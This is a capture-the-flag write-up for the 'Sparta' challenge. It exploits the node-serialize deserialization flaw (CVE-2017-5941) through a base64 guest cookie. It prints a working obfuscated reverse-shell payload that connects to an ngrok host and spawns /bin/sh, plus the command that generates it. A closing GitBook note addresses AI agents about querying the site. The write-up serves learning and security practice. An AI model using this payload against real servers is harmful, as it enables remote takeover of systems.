> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/zh3ro-ctf-v2/sparta.md). # Sparta ## Problem Spartanians are starting to lose their great power, help them move their objects and rebuild their Empire. ## Solution In the given source code, we can see that the `/guest` endpoint deserializes the base 64 decoded `guest` cookie. ```javascript app.post('/guest', function(req, res) { if (req.cookies.guest) { var str = new Buffer(req.cookies.guest, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page"); } } else { var username = req.body.username var country = req.body.country var city = req.body.city var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}` var encoded_data = new Buffer(serialized_info).toString('base64'); res.cookie('guest', encoded_data, { maxAge: 900000, httpOnly: true }); } ``` There is a well-known deserialization vulnerability in node.js that leads to RCE ([CVE-2017-5941](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)). By passing a serialized object like the following into `serialize.unserialize()`, we can achieve RCE. ```javascript {"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }()"} ``` This relies on JavaScript's Immediately Invoked Function Expression (IIFE): notice the IIFE bracket after the function expression: ```javascript function (){ ... }() ``` Now, we can execute a reverse shell payload within the function that would be fired when the data is deserialized. Using [nodejsshell.py,](https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py) we can craft such a payload. In my case: `python nodejsshell.py 2.tcp.ngrok.io 13755` allowed me to generate a reverse shell payload for my ngrok tunnel. ![](/files/-MbX9Y7X5rPUzObM8acE) Then, we can copy the output into the function body. ```javascript var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,50,46,116,99,112,46,110,103,114,111,107,46,105,111,34,59,10,80,79,82,84,61,34,49,51,55,53,53,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}'; serialize.unserialize(payload); ``` Once we tested that our payload works, we can encode the payload to base 64, and send it through the cookie header. ![](/files/-MbXB8GKF3f-vFAcr1_S) We obtain a reverse shell, which allows us to read the flag. ![](/files/-MbXBFXBz2LkuYPkwp_q) ## References: 1. 2. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ctf.zeyu2001.com/2021/zh3ro-ctf-v2/sparta.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.